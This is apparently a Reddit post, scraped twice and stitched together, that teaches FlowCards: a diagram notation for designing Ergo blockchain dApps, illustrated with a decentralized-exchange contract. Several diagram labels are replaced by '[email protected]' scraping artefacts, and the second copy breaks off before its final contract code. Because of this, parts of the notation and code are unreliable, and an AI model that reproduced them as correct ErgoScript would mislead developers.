FlowCards aim to radically simplify dApp development on the Ergo platform by providing a high-level declarative language, execution runtime, storage format and a graphical notation.
We will start with a high level of diagrams and go down to FlowCard specification.
FlowCard Diagrams
The idea behind FlowCard diagrams is based on the following observations: 1) An Ergo box is immutable and can only be spent in the transaction which uses it as an input. 2) We therefore can draw a flow of boxes through transactions, so that boxes flowing in to the transaction are spent and those flowing out are created and added to the UTXO. 3) A transaction from this perspective is simply a transformer of old boxes to the new ones preserving the balances of ERGs and tokens involved.
The following figure shows the main elements of the Ergo transaction we've already seen previously (now under the name of FlowCard Diagram).
https://preview.redd.it/9kcxl11o9tv41.png?width=1304&format=png&auto=webp&s=378a7f50769292ca94de35ff597dc1a44af56d14
There is a strictly defined meaning (semantics) behind every element of the diagram, so that the diagram is a visual representation (or a view) of the underlying executable component (called FlowCard).
The FlowCard can be used as a reusable component of an Ergo dApp to create and initiate the transaction on the Ergo blockchain. We will discuss this in the coming sections.
Now let's look at the individual pieces of the FlowCard diagram one by one.
  1. Name and Parameters
Each flow card is given a name and a list of typed parameters. This is similar to a template with parameters. In the above figure we can see the Send flow card which has five parameters. The parameters are used in the specification.
  1. Contract Wallet
This is a key element of the flow card. Every box has a guarding script. Often it is the script that checks a signature against a public key. This script is trivial in ErgoScript and is defined like the def pk(pubkey: Address) = { pubkey } template where pubkey is a parameter of the type Address . In the figure, the script template is applied to the parameter pk(sender) and thus a concrete wallet contract is obtained. Therefore pk(sender) and pk(receiver) yield different scripts and represent different wallets on the diagram, even though they use the same template.
Contract Wallet contains a set of all UTXO boxes which have a given script derived from the given script template using flow card parameters. For example, in the figure, the template is pk and parameter pubkey is substituted with the `sender’ flow card parameter.
  1. Contract
Even though a contract is a property of a box, on the diagram we group the boxes by their contracts, therefore it looks like the boxes belong to the contracts, rather than the contracts belong to the boxes. In the example, we have three instantiated contracts pk(sender) , pk(receiver) and minerFee . Note, that pk(sender) is the instantiation of the pk template with the concrete parameter sender and minerFee is the instantiation of the pre-defined contract which protects the miner reward boxes.
  1. Box name
In the diagram we can give each box a name. Besides readability of the diagram, we also use the name as a synonym of a more complex indexed access to the box in the contract. For example, change is the name of the box, which can also be used in the ErgoScript conditions instead of OUTPUTS(2) . We also use box names to associate spending conditions with the boxes.
  1. Boxes in the wallet
In the diagram, we show boxes (darker rectangles) as belonging to the contract wallets (lighter rectangles). Each such box rectangle is connected with a grey transaction rectangle by either orange or green arrows or both. An output box (with an incoming green arrow) may include many lines of text where each line specifies a condition which should be checked as part of the transaction. The first line specifies the condition on the amount of ERG which should be placed in the box. Other lines may take one of the following forms:
  1. amount: TOKEN - the box should contain the given amount of the given TOKEN
  2. R == value - the box should contain the given value of the given register R
  3. boxName ? condition - the box named boxName should check condition in its script.
We discuss these conditions in the sections below.
  1. Amount of ERGs in the box
Each box should store a minimum amount of ERGs. This is checked when the creating transaction is validated. In the diagram the amount of ERGs is always shown as the first line (e.g. B: ERG or B - minErg - txFee ). The value type ascription B: ERG is optional and may be used for readability. When the value is given as a formula, then this formula should be respected by the transaction which creates the box.
It is important to understand that variables like amount and txFee are not named properties of the boxes. They are parameters of the whole diagram and representing some amounts. Or put it another way, they are shared parameters between transactions (e.g. Sell Order and Swap transactions from DEX example below share the tAmt parameter). So the same name is tied to the same value throughout the diagram (this is where the tooling would help a lot). However, when it comes to on-chain validation of those values, only explicit conditions which are marked with ? are transformed to ErgoScript. At the same time, all other conditions are ensured off-chain during transaction building (for example in an application using Appkit API) and transaction validation when it is added to the blockchain.
  1. Amount of T token
A box can store values of many tokens. The tokens on the diagram are named and a value variable may be associated with the token T using value: T expression. The value may be given by formula. If the formula is prefixed with a box name like boxName ? formula , then it is should also be checked in the guarding script of the boxName box. This additional specification is very convenient because 1) it allows to validate the visual design automatically, and 2) the conditions specified in the boxes of a diagram are enough to synthesize the necessary guarding scripts. (more about this below at “From Diagrams To ErgoScript Contracts”)
  1. Tx Inputs
Inputs are connected to the corresponding transaction by orange arrows. An input arrow may have a label of the following forms:
  1. [email protected] - optional name with an index i.e. [email protected] or u/2 . This is a property of the target endpoint of the arrow. The name is used in conditions of related boxes and the index is the position of the corresponding box in the INPUTS collection of the transaction.
  2. !action - is a property of the source of the arrow and gives a name for an alternative spending path of the box (we will see this in DEX example)
Because of alternative spending paths, a box may have many outgoing orange arrows, in which case they should be labeled with different actions.
  1. Transaction
A transaction spends input boxes and creates output boxes. The input boxes are given by the orange arrows and the labels are expected to put inputs at the right indexes in INPUTS collection. The output boxes are given by the green arrows. Each transaction should preserve a strict balance of ERG values (sum of inputs == sum of outputs) and for each token the sum of inputs >= the sum of outputs. The design diagram requires an explicit specification of the ERG and token values for all of the output boxes to avoid implicit errors and ensure better readability.
  1. Tx Outputs
Outputs are connected to the corresponding transaction by green arrows. An output arrow may have a label of the following [email protected] , where an optional name is accompanied with an index i.e. [email protected] or u/2 . This is a property of the source endpoint of the arrow. The name is used in conditions of the related boxes and the index is the position of the corresponding box in the OUTPUTS collection of the transaction.
Example: Decentralized Exchange (DEX)
Now let's use the above described notation to design a FlowCard for a DEX dApp. It is simple enough yet also illustrates all of the key features of FlowCard diagrams which we've introduced in the previous section.
The dApp scenario is shown in the figure below: There are three participants (buyer, seller and DEX) of the DEX dApp and five different transaction types, which are created by participants. The buyer wants to swap ergAmt of ERGs for tAmt of TID tokens (or vice versa, the seller wants to sell TID tokens for ERGs, who sends the order first doesn't matter). Both the buyer and the seller can cancel their orders any time. The DEX off-chain matching service can find matching orders and create the Swap transaction to complete the exchange.
The following diagram fully (and formally) specifies all of the five transactions that must be created off-chain by the DEX dApp. It also specifies all of the spending conditions that should be verified on-chain.

https://preview.redd.it/fnt5f4qp9tv41.png?width=1614&format=png&auto=webp&s=34f145f9a6d622454906857e645def2faba057bd
Let's discuss the FlowCard diagram and the logic of each transaction in details:
Buy Order Transaction
A buyer creates a Buy Order transaction. The transaction spends E amount of ERGs (which we will write E: ERG ) from one or more boxes in the pk(buyer) wallet. The transaction creates a bid box with ergAmt: ERG protected by the buyOrder script. The buyOrder script is synthesized from the specification (see below at “From Diagrams To ErgoScript Contracts”) either manually or automatically by a tool. Even though we don't need to define the buyOrder script explicitly during designing, at run time the bid box should contain the buyOrder script as the guarding proposition (which checks the box spending conditions), otherwise the conditions specified in the diagram will not be checked.
The change box is created to make the input and output sums of the transaction balanced. The transaction fee box is omitted because it can be added automatically by the tools. In practice, however, the designer can add the fee box explicitly to the a diagram. It covers the cases of more complex transactions (like Swap) where there are many ways to pay the transaction fee.
Cancel Buy, Cancel Sell Transactions
At any time, the buyer can cancel the order by sending CancelBuy transaction. The transaction should satisfy the guarding buyOrder contract which protects the bid box. As you can see on the diagram, both the Cancel and the Swap transactions can spend the bid box. When a box has spending alternatives (or spending paths) then each alternative is identified by a unique name prefixed with ! (!cancel and !swap for the bid box). Each alternative path has specific spending conditions. In our example, when the Cancel Buy transaction spends the bid box the ?buyer condition should be satisfied, which we read as “the signature for the buyer address should be presented in the transaction”. Therefore, only buyer can cancel the buy order. This “signature” condition is only required for the !cancel alternative spending path and not required for !swap .
Sell Order Transaction
The Sell Order transaction is similar to the BuyOrder in that it deals with tokens in addition to ERGs. The transaction spends E: ERG and T: TID tokens from seller's wallet (specified as pk(seller) contract). The two outputs are ask and change . The change is a standard box to balance transaction. The ask box keeps tAmt: TID tokens for the exchange and minErg: ERG - the minimum amount of ERGs required in every box.
Swap Transaction
This is a key transaction in the DEX dApp scenario. The transaction has several spending conditions on the input boxes and those conditions are included in the buyOrder and sellOrder scripts (which are verified when the transaction is added to the blockchain). However, on the diagram those conditions are not specified in the bid and ask boxes, they are instead defined in the output boxes of the transaction.
This is a convention for improved usability because most of the conditions relate to the properties of the output boxes. We could specify those properties in the bid box, but then we would have to use more complex expressions.
Let's consider the output created by the arrow labeled with [email protected] . This label tells us that the output is at the index 0 in the OUTPUTS collection of the transaction and that in the diagram we can refer to this box by the buyerOut name. Thus we can label both the box itself and the arrow to give the box a name.
The conditions shown in the buyerOut box have the form bid ? condition , which means they should be verified on-chain in order to spend the bid box. The conditions have the following meaning:
  • tAmt: TID requires the box to have tAmt amount of TID token
  • R4 == bid.id requires R4 register in the box to be equal to id of the bid box.
  • script == buyer requires the buyerOut box to have the script of the wallet where it is located on the diagram, i.e. pk(buyer)
Similar properties are added to the sellerOut box, which is specified to be at index 1 and the name is given to it using the label on the box itself, rather than on the arrow.
The Swap transaction spends two boxes bid and ask using the !swap spending path on both, however unlike !cancel the conditions on the path are not specified. This is where the bid ? and ask ? prefixes come into play. They are used so that the conditions listed in the buyerOut and sellerOut boxes are moved to the !swap spending path of the bid and ask boxes correspondingly.
If you look at the conditions of the output boxes, you will see that they exactly specify the swap of values between seller's and buyer's wallets. The buyer gets the necessary amount of TID token and seller gets the corresponding amount of ERGs. The Swap transaction is created when there are two matching boxes with buyOrder and sellOrder contracts.
From Diagrams To ErgoScript Contracts
What is interesting about FlowCard specifications is that we can use them to automatically generate the necessary ErgoTree scripts. With the appropriate tooling support this can be done automatically, but with the lack of thereof, it can be done manually. Thus, the FlowCard allows us to capture and visually represent all of the design choices and semantic details of an Ergo dApp.
What we are going to do next is to mechanically create the buyOrder contract from the information given in the DEX flow card.
Recall that each script is a proposition (boolean valued expression) which should evaluate to true to allow spending of the box. When we have many conditions to be met at the same time we can combine them in a logical formula using the AND binary operation, and if we have alternatives (not necessarily exclusive) we can put them into the OR operation.
The buyOrder box has the alternative spending paths !cancel and !swap . Thus the ErgoScript code should have OR operation with two arguments - one for each spending path.
/** buyOrder contract */ { val cancelCondition = {} val swapCondition = {} cancelCondition || swapCondition } 
The formula for the cancelCondition expression is given in the !cancel spending path of the buyOrder box. We can directly include it in the script.
/** buyOrder contract */ { val cancelCondition = { buyer } val swapCondition = {} cancelCondition || swapCondition } 
For the !swap spending path of the buyOrder box the conditions are specified in the buyerOut output box of the Swap transaction. If we simply include them in the swapCondition then we get a syntactically incorrect script.
/** buyOrder contract */ { val cancelCondition = { buyer } val swapCondition = { tAmt: TID && R4 == bid.id && @contract } cancelCondition || swapCondition } 
We can however translate the conditions from the diagram syntax to ErgoScript expressions using the following simple rules
  1. [email protected] ==> val buyerOut = OUTPUTS(0)
  2. tAmt: TID ==> tid._2 == tAmt where tid = buyerOut.tokens(TID)
  3. R4 == bid.id ==> R4 == SELF.id where R4 = buyerOut.R4[Coll[Byte]].get
  4. script == buyer ==> buyerOut.propositionBytes == buyer.propBytes
Note, in the diagram TID represents a token id, but ErgoScript doesn't have access to the tokens by the ids so we cannot write tokens.getByKey(TID) . For this reason, when the diagram is translated into ErgoScript, TID becomes a named constant of the index in tokens collection of the box. The concrete value of the constant is assigned when the BuyOrder transaction with the buyOrder box is created. The correspondence and consistency between the actual tokenId, the TID constant and the actual tokens of the buyerOut box is ensured by the off-chain application code, which is completely possible since all of the transactions are created by the application using FlowCard as a guiding specification. This may sound too complicated, but this is part of the translation from diagram specification to actual executable application code, most of which can be automated.
After the transformation we can obtain a correct script which checks all the required preconditions for spending the buyOrder box.
/** buyOrder contract */ def DEX(buyer: Addrss, seller: Address, TID: Int, ergAmt: Long, tAmt: Long) { val cancelCondition: SigmaProp = { buyer } // verify buyer's sig (ProveDlog) val swapCondition = OUTPUTS.size > 0 && { // securing OUTPUTS access val buyerOut = OUTPUTS(0) // from [email protected] buyerOut.tokens.size > TID && { // securing tokens access val tid = buyerOut.tokens(TID) val regR4 = buyerOut.R4[Coll[Byte]] regR4.isDefined && { // securing R4 access val R4 = regR4.get tid._2 == tAmt && // from tAmt: TID R4 == SELF.id && // from R4 == bid.id buyerOut.propositionBytes == buyer.propBytes // from script == buyer } } } cancelCondition || swapCondition } 
A similar script for the sellOrder box can be obtained using the same translation rules. With the help of the tooling the code of contracts can be mechanically generated from the diagram specification.
Conclusions
Declarative programming models have already won the battle against imperative programming in many application domains like Big Data, Stream Processing, Deep Learning, Databases, etc. Ergo is pioneering the declarative model of dApp development as a better and safer alternative to the now popular imperative model of smart contracts.
The concept of FlowCard shifts the focus from writing ErgoScript contracts to the overall flow of values (hence the name), in such a way, that ErgoScript can always be generated from them. You will never need to look at the ErgoScript code once the tooling is in place.
Here are the possible next steps for future work:
  1. Storage format for FlowCard Spec and the corresponding EIP standardized file format (Json/XML/Protobuf). This will allow various tools (Diagram Editor, Runtime, dApps etc) to create and use *.flowcard files.
  2. FlowCard Viewer, which can generate the diagrams from *.flowcard files.
  3. FlowCard Runtime, which can run *.flowcard files, create and send transactions to Ergo network.
  4. FlowCard Designer Tool, which can simplify development of complex diagrams . This will make designing and validation of Ergo contracts a pleasant experience, more like drawing rather than coding. In addition, the correctness of the whole dApp scenario can be verified and controlled by the tooling.
submitted by Guilty_Pea to CryptoCurrencies [link] [comments]

FlowCards: A Declarative Framework for Development of Ergo dApps

FlowCards: A Declarative Framework for Development of Ergo dApps
Introduction
ErgoScript is the smart contract language used by the Ergo blockchain. While it has concise syntax adopted from Scala/Kotlin, it still may seem confusing at first because conceptually ErgoScript is quite different compared to conventional languages which we all know and love. This is because Ergo is a UTXO based blockchain, whereas smart contracts are traditionally associated with account based systems like Ethereum. However, Ergo's transaction model has many advantages over the account based model and with the right approach it can even be significantly easier to develop Ergo contracts than to write and debug Solidity code.
Below we will cover the key aspects of the Ergo contract model which makes it different:
Paradigm
The account model of Ethereum is imperative. This means that the typical task of sending coins from Alice to Bob requires changing the balances in storage as a series of operations. Ergo's UTXO based programming model on the other hand is declarative. ErgoScript contracts specify conditions for a transaction to be accepted by the blockchain (not changes to be made in the storage state as result of the contract execution).
Scalability
In the account model of Ethereum both storage changes and validity checks are performed on-chain during code execution. In contrast, Ergo transactions are created off-chain and only validation checks are performed on-chain thus reducing the amount of operations performed by every node on the network. In addition, due to immutability of the transaction graph, various optimization strategies are possible to improve throughput of transactions per second in the network. Light verifying nodes are also possible thus further facilitating scalability and accessibility of the network.
Shared state
The account-based model is reliant on shared mutable state which is known to lead to complex semantics (and subtle million dollar bugs) in the context of concurrent/ distributed computation. Ergo's model is based on an immutable graph of transactions. This approach, inherited from Bitcoin, plays well with the concurrent and distributed nature of blockchains and facilitates light trustless clients.
Expressive Power
Ethereum advocated execution of a turing-complete language on the blockchain. It theoretically promised unlimited potential, however in practice severe limitations came to light from excessive blockchain bloat, subtle multi-million dollar bugs, gas costs which limit contract complexity, and other such problems. Ergo on the flip side extends UTXO to enable turing-completeness while limiting the complexity of the ErgoScript language itself. The same expressive power is achieved in a different and more semantically sound way.
With the all of the above points, it should be clear that there are a lot of benefits to the model Ergo is using. In the rest of this article I will introduce you to the concept of FlowCards - a dApp developer component which allows for designing complex Ergo contracts in a declarative and visual way.

From Imperative to Declarative

In the imperative programming model of Ethereum a transaction is a sequence of operations executed by the Ethereum VM. The following Solidity function implements a transfer of tokens from sender to receiver . The transaction starts when sender calls this function on an instance of a contract and ends when the function returns.
// Sends an amount of existing coins from any caller to an address function send(address receiver, uint amount) public { require(amount <= balances[msg.sender], "Insufficient balance."); balances[msg.sender] -= amount; balances[receiver] += amount; emit Sent(msg.sender, receiver, amount); } 
The function first checks the pre-conditions, then updates the storage (i.e. balances) and finally publishes the post-condition as the Sent event. The gas which is consumed by the transaction is sent to the miner as a reward for executing this transaction.
Unlike Ethereum, a transaction in Ergo is a data structure holding a list of input coins which it spends and a list of output coins which it creates preserving the total balances of ERGs and tokens (in which Ergo is similar to Bitcoin).
Turning back to the example above, since Ergo natively supports tokens, therefore for this specific example of sending tokens we don't need to write any code in ErgoScript. Instead we need to create the ‘send’ transaction shown in the following figure, which describes the same token transfer but declaratively.
https://preview.redd.it/sxs3kesvrsv41.png?width=1348&format=png&auto=webp&s=582382bc26912ff79114d831d937d94b6988e69f
The picture visually describes the following steps, which the network user needs to perform:
  1. Select unspent sender's boxes, containing in total tB >= amount of tokens and B >= txFee + minErg ERGs.
  2. Create an output target box which is protected by the receiver public key with minErg ERGs and amount of T tokens.
  3. Create one fee output protected by the minerFee contract with txFee ERGs.
  4. Create one change output protected by the sender public key, containing B - minErg - txFee ERGs and tB - amount of T tokens.
  5. Create a new transaction, sign it using the sender's secret key and send to the Ergo network.
What is important to understand here is that all of these steps are preformed off-chain (for example using Appkit Transaction API) by the user's application. Ergo network nodes don't need to repeat this transaction creation process, they only need to validate the already formed transaction. ErgoScript contracts are stored in the inputs of the transaction and check spending conditions. The node executes the contracts on-chain when the transaction is validated. The transaction is valid if all of the conditions are satisfied.
Thus, in Ethereum when we “send amount from sender to recipient” we are literally editing balances and updating the storage with a concrete set of commands. This happens on-chain and thus a new transaction is also created on-chain as the result of this process.
In Ergo (as in Bitcoin) transactions are created off-chain and the network nodes only verify them. The effects of the transaction on the blockchain state is that input coins (or Boxes in Ergo's parlance) are removed and output boxes are added to the UTXO set.
In the example above we don't use an ErgoScript contract but instead assume a signature check is used as the spending pre-condition. However in more complex application scenarios we of course need to use ErgoScript which is what we are going to discuss next.

From Changing State to Checking Context

In the send function example we first checked the pre-condition (require(amount <= balances[msg.sender],...) ) and then changed the state (i.e. update balances balances[msg.sender] -= amount ). This is typical in Ethereum transactions. Before we change anything we need to check if it is valid to do so.
In Ergo, as we discussed previously, the state (i.e. UTXO set of boxes) is changed implicitly when a valid transaction is included in a block. Thus we only need to check the pre-conditions before the transaction can be added to the block. This is what ErgoScript contracts do.
It is not possible to “change the state” in ErgoScript because it is a language to check pre-conditions for spending coins. ErgoScript is a purely functional language without side effects that operates on immutable data values. This means all the inputs, outputs and other transaction parameters available in a script are immutable. This, among other things, makes ErgoScript a very simple language that is easy to learn and safe to use. Similar to Bitcoin, each input box contains a script, which should return the true value in order to 1) allow spending of the box (i.e. removing from the UTXO set) and 2) adding the transaction to the block.
If we are being pedantic, it is therefore incorrect (strictly speaking) to think of ErgoScript as the language of Ergo contracts, because it is the language of propositions (logical predicates, formulas, etc.) which protect boxes from “illegal” spending. Unlike Bitcoin, in Ergo the whole transaction and a part of the current blockchain context is available to every script. Therefore each script may check which outputs are created by the transaction, their ERG and token amounts (we will use this capability in our example DEX contracts), current block number etc.
In ErgoScript you define the conditions of whether changes (i.e. coin spending) are allowed to happen in a given context. This is in contrast to programming the changes imperatively in the code of a contract.
While Ergo's transaction model unlocks a whole range of applications like (DEX, DeFi Apps, LETS, etc), designing contracts as pre-conditions for coin spending (or guarding scripts) directly is not intuitive. In the next sections we will consider a useful graphical notation to design contracts declaratively using FlowCard Diagrams, which is a visual representation of executable components (FlowCards).
FlowCards aim to radically simplify dApp development on the Ergo platform by providing a high-level declarative language, execution runtime, storage format and a graphical notation.
We will start with a high level of diagrams and go down to FlowCard specification.

FlowCard Diagrams

The idea behind FlowCard diagrams is based on the following observations: 1) An Ergo box is immutable and can only be spent in the transaction which uses it as an input. 2) We therefore can draw a flow of boxes through transactions, so that boxes flowing in to the transaction are spent and those flowing out are created and added to the UTXO. 3) A transaction from this perspective is simply a transformer of old boxes to the new ones preserving the balances of ERGs and tokens involved.
The following figure shows the main elements of the Ergo transaction we've already seen previously (now under the name of FlowCard Diagram).
https://preview.redd.it/06aqkcd1ssv41.png?width=1304&format=png&auto=webp&s=106eda730e0526919aabd5af9596b97e45b69777
There is a strictly defined meaning (semantics) behind every element of the diagram, so that the diagram is a visual representation (or a view) of the underlying executable component (called FlowCard).
The FlowCard can be used as a reusable component of an Ergo dApp to create and initiate the transaction on the Ergo blockchain. We will discuss this in the coming sections.
Now let's look at the individual pieces of the FlowCard diagram one by one.
1. Name and Parameters
Each flow card is given a name and a list of typed parameters. This is similar to a template with parameters. In the above figure we can see the Send flow card which has five parameters. The parameters are used in the specification.
2. Contract Wallet
This is a key element of the flow card. Every box has a guarding script. Often it is the script that checks a signature against a public key. This script is trivial in ErgoScript and is defined like the def pk(pubkey: Address) = { pubkey } template where pubkey is a parameter of the type Address . In the figure, the script template is applied to the parameter pk(sender) and thus a concrete wallet contract is obtained. Therefore pk(sender) and pk(receiver) yield different scripts and represent different wallets on the diagram, even though they use the same template.
Contract Wallet contains a set of all UTXO boxes which have a given script derived from the given script template using flow card parameters. For example, in the figure, the template is pk and parameter pubkey is substituted with the `sender’ flow card parameter.
3. Contract
Even though a contract is a property of a box, on the diagram we group the boxes by their contracts, therefore it looks like the boxes belong to the contracts, rather than the contracts belong to the boxes. In the example, we have three instantiated contracts pk(sender) , pk(receiver) and minerFee . Note, that pk(sender) is the instantiation of the pk template with the concrete parameter sender and minerFee is the instantiation of the pre-defined contract which protects the miner reward boxes.
4. Box name
In the diagram we can give each box a name. Besides readability of the diagram, we also use the name as a synonym of a more complex indexed access to the box in the contract. For example, change is the name of the box, which can also be used in the ErgoScript conditions instead of OUTPUTS(2) . We also use box names to associate spending conditions with the boxes.
5. Boxes in the wallet
In the diagram, we show boxes (darker rectangles) as belonging to the contract wallets (lighter rectangles). Each such box rectangle is connected with a grey transaction rectangle by either orange or green arrows or both. An output box (with an incoming green arrow) may include many lines of text where each line specifies a condition which should be checked as part of the transaction. The first line specifies the condition on the amount of ERG which should be placed in the box. Other lines may take one of the following forms:
  1. amount: TOKEN - the box should contain the given amount of the given TOKEN
  2. R == value - the box should contain the given value of the given register R
  3. boxName ? condition - the box named boxName should check condition in its script.
We discuss these conditions in the sections below.
6. Amount of ERGs in the box
Each box should store a minimum amount of ERGs. This is checked when the creating transaction is validated. In the diagram the amount of ERGs is always shown as the first line (e.g. B: ERG or B - minErg - txFee ). The value type ascription B: ERG is optional and may be used for readability. When the value is given as a formula, then this formula should be respected by the transaction which creates the box.
It is important to understand that variables like amount and txFee are not named properties of the boxes. They are parameters of the whole diagram and representing some amounts. Or put it another way, they are shared parameters between transactions (e.g. Sell Order and Swap transactions from DEX example below share the tAmt parameter). So the same name is tied to the same value throughout the diagram (this is where the tooling would help a lot). However, when it comes to on-chain validation of those values, only explicit conditions which are marked with ? are transformed to ErgoScript. At the same time, all other conditions are ensured off-chain during transaction building (for example in an application using Appkit API) and transaction validation when it is added to the blockchain.
7. Amount of T token
A box can store values of many tokens. The tokens on the diagram are named and a value variable may be associated with the token T using value: T expression. The value may be given by formula. If the formula is prefixed with a box name like boxName ? formula , then it is should also be checked in the guarding script of the boxName box. This additional specification is very convenient because 1) it allows to validate the visual design automatically, and 2) the conditions specified in the boxes of a diagram are enough to synthesize the necessary guarding scripts. (more about this below at “From Diagrams To ErgoScript Contracts”)
8. Tx Inputs
Inputs are connected to the corresponding transaction by orange arrows. An input arrow may have a label of the following forms:
  1. [email protected] - optional name with an index i.e. [email protected] or u/2 . This is a property of the target endpoint of the arrow. The name is used in conditions of related boxes and the index is the position of the corresponding box in the INPUTS collection of the transaction.
  2. !action - is a property of the source of the arrow and gives a name for an alternative spending path of the box (we will see this in DEX example)
Because of alternative spending paths, a box may have many outgoing orange arrows, in which case they should be labeled with different actions.
9. Transaction
A transaction spends input boxes and creates output boxes. The input boxes are given by the orange arrows and the labels are expected to put inputs at the right indexes in INPUTS collection. The output boxes are given by the green arrows. Each transaction should preserve a strict balance of ERG values (sum of inputs == sum of outputs) and for each token the sum of inputs >= the sum of outputs. The design diagram requires an explicit specification of the ERG and token values for all of the output boxes to avoid implicit errors and ensure better readability.
10. Tx Outputs
Outputs are connected to the corresponding transaction by green arrows. An output arrow may have a label of the following [email protected] , where an optional name is accompanied with an index i.e. [email protected] or u/2 . This is a property of the source endpoint of the arrow. The name is used in conditions of the related boxes and the index is the position of the corresponding box in the OUTPUTS collection of the transaction.

Example: Decentralized Exchange (DEX)

Now let's use the above described notation to design a FlowCard for a DEX dApp. It is simple enough yet also illustrates all of the key features of FlowCard diagrams which we've introduced in the previous section.
The dApp scenario is shown in the figure below: There are three participants (buyer, seller and DEX) of the DEX dApp and five different transaction types, which are created by participants. The buyer wants to swap ergAmt of ERGs for tAmt of TID tokens (or vice versa, the seller wants to sell TID tokens for ERGs, who sends the order first doesn't matter). Both the buyer and the seller can cancel their orders any time. The DEX off-chain matching service can find matching orders and create the Swap transaction to complete the exchange.
The following diagram fully (and formally) specifies all of the five transactions that must be created off-chain by the DEX dApp. It also specifies all of the spending conditions that should be verified on-chain.

https://preview.redd.it/piogz0v9ssv41.png?width=1614&format=png&auto=webp&s=e1b503a635ad3d138ef91e2f0c3b726e78958646
Let's discuss the FlowCard diagram and the logic of each transaction in details:
Buy Order Transaction
A buyer creates a Buy Order transaction. The transaction spends E amount of ERGs (which we will write E: ERG ) from one or more boxes in the pk(buyer) wallet. The transaction creates a bid box with ergAmt: ERG protected by the buyOrder script. The buyOrder script is synthesized from the specification (see below at “From Diagrams To ErgoScript Contracts”) either manually or automatically by a tool. Even though we don't need to define the buyOrder script explicitly during designing, at run time the bid box should contain the buyOrder script as the guarding proposition (which checks the box spending conditions), otherwise the conditions specified in the diagram will not be checked.
The change box is created to make the input and output sums of the transaction balanced. The transaction fee box is omitted because it can be added automatically by the tools. In practice, however, the designer can add the fee box explicitly to the a diagram. It covers the cases of more complex transactions (like Swap) where there are many ways to pay the transaction fee.
Cancel Buy, Cancel Sell Transactions
At any time, the buyer can cancel the order by sending CancelBuy transaction. The transaction should satisfy the guarding buyOrder contract which protects the bid box. As you can see on the diagram, both the Cancel and the Swap transactions can spend the bid box. When a box has spending alternatives (or spending paths) then each alternative is identified by a unique name prefixed with ! (!cancel and !swap for the bid box). Each alternative path has specific spending conditions. In our example, when the Cancel Buy transaction spends the bid box the ?buyer condition should be satisfied, which we read as “the signature for the buyer address should be presented in the transaction”. Therefore, only buyer can cancel the buy order. This “signature” condition is only required for the !cancel alternative spending path and not required for !swap .
Sell Order Transaction
The Sell Order transaction is similar to the BuyOrder in that it deals with tokens in addition to ERGs. The transaction spends E: ERG and T: TID tokens from seller's wallet (specified as pk(seller) contract). The two outputs are ask and change . The change is a standard box to balance transaction. The ask box keeps tAmt: TID tokens for the exchange and minErg: ERG - the minimum amount of ERGs required in every box.
Swap Transaction
This is a key transaction in the DEX dApp scenario. The transaction has several spending conditions on the input boxes and those conditions are included in the buyOrder and sellOrder scripts (which are verified when the transaction is added to the blockchain). However, on the diagram those conditions are not specified in the bid and ask boxes, they are instead defined in the output boxes of the transaction.
This is a convention for improved usability because most of the conditions relate to the properties of the output boxes. We could specify those properties in the bid box, but then we would have to use more complex expressions.
Let's consider the output created by the arrow labeled with [email protected] . This label tells us that the output is at the index 0 in the OUTPUTS collection of the transaction and that in the diagram we can refer to this box by the buyerOut name. Thus we can label both the box itself and the arrow to give the box a name.
The conditions shown in the buyerOut box have the form bid ? condition , which means they should be verified on-chain in order to spend the bid box. The conditions have the following meaning:
  • tAmt: TID requires the box to have tAmt amount of TID token
  • R4 == bid.id requires R4 register in the box to be equal to id of the bid box.
  • script == buyer requires the buyerOut box to have the script of the wallet where it is located on the diagram, i.e. pk(buyer)
Similar properties are added to the sellerOut box, which is specified to be at index 1 and the name is given to it using the label on the box itself, rather than on the arrow.
The Swap transaction spends two boxes bid and ask using the !swap spending path on both, however unlike !cancel the conditions on the path are not specified. This is where the bid ? and ask ? prefixes come into play. They are used so that the conditions listed in the buyerOut and sellerOut boxes are moved to the !swap spending path of the bid and ask boxes correspondingly.
If you look at the conditions of the output boxes, you will see that they exactly specify the swap of values between seller's and buyer's wallets. The buyer gets the necessary amount of TID token and seller gets the corresponding amount of ERGs. The Swap transaction is created when there are two matching boxes with buyOrder and sellOrder contracts.

From Diagrams To ErgoScript Contracts

What is interesting about FlowCard specifications is that we can use them to automatically generate the necessary ErgoTree scripts. With the appropriate tooling support this can be done automatically, but with the lack of thereof, it can be done manually. Thus, the FlowCard allows us to capture and visually represent all of the design choices and semantic details of an Ergo dApp.
What we are going to do next is to mechanically create the buyOrder contract from the information given in the DEX flow card.
Recall that each script is a proposition (boolean valued expression) which should evaluate to true to allow spending of the box. When we have many conditions to be met at the same time we can combine them in a logical formula using the AND binary operation, and if we have alternatives (not necessarily exclusive) we can put them into the OR operation.
The buyOrder box has the alternative spending paths !cancel and !swap . Thus the ErgoScript code should have OR operation with two arguments - one for each spending path.
/** buyOrder contract */ { val cancelCondition = {} val swapCondition = {} cancelCondition || swapCondition } 
The formula for the cancelCondition expression is given in the !cancel spending path of the buyOrder box. We can directly include it in the script.
/** buyOrder contract */ { val cancelCondition = { buyer } val swapCondition = {} cancelCondition || swapCondition } 
For the !swap spending path of the buyOrder box the conditions are specified in the buyerOut output box of the Swap transaction. If we simply include them in the swapCondition then we get a syntactically incorrect script.
/** buyOrder contract */ { val cancelCondition = { buyer } val swapCondition = { tAmt: TID && R4 == bid.id && @contract } cancelCondition || swapCondition } 
We can however translate the conditions from the diagram syntax to ErgoScript expressions using the following simple rules
  1. [email protected] ==> val buyerOut = OUTPUTS(0)
  2. tAmt: TID ==> tid._2 == tAmt where tid = buyerOut.tokens(TID)
  3. R4 == bid.id ==> R4 == SELF.id where R4 = buyerOut.R4[Coll[Byte]].get
  4. script == buyer ==> buyerOut.propositionBytes == buyer.propBytes
Note, in the diagram TID represents a token id, but ErgoScript doesn't have access to the tokens by the ids so we cannot write tokens.getByKey(TID) . For this reason, when the diagram is translated into ErgoScript, TID becomes a named constant of the index in tokens collection of the box. The concrete value of the constant is assigned when the BuyOrder transaction with the buyOrder box is created. The correspondence and consistency between the actual tokenId, the TID constant and the actual tokens of the buyerOut box is ensured by the off-chain application code, which is completely possible since all of the transactions are created by the application using FlowCard as a guiding specification. This may sound too complicated, but this is part of the translation from diagram specification to actual executable application code, most of which can be automated.
After the transformation we can obtain a correct script which checks all the required preconditions for spending the buyOrder box.
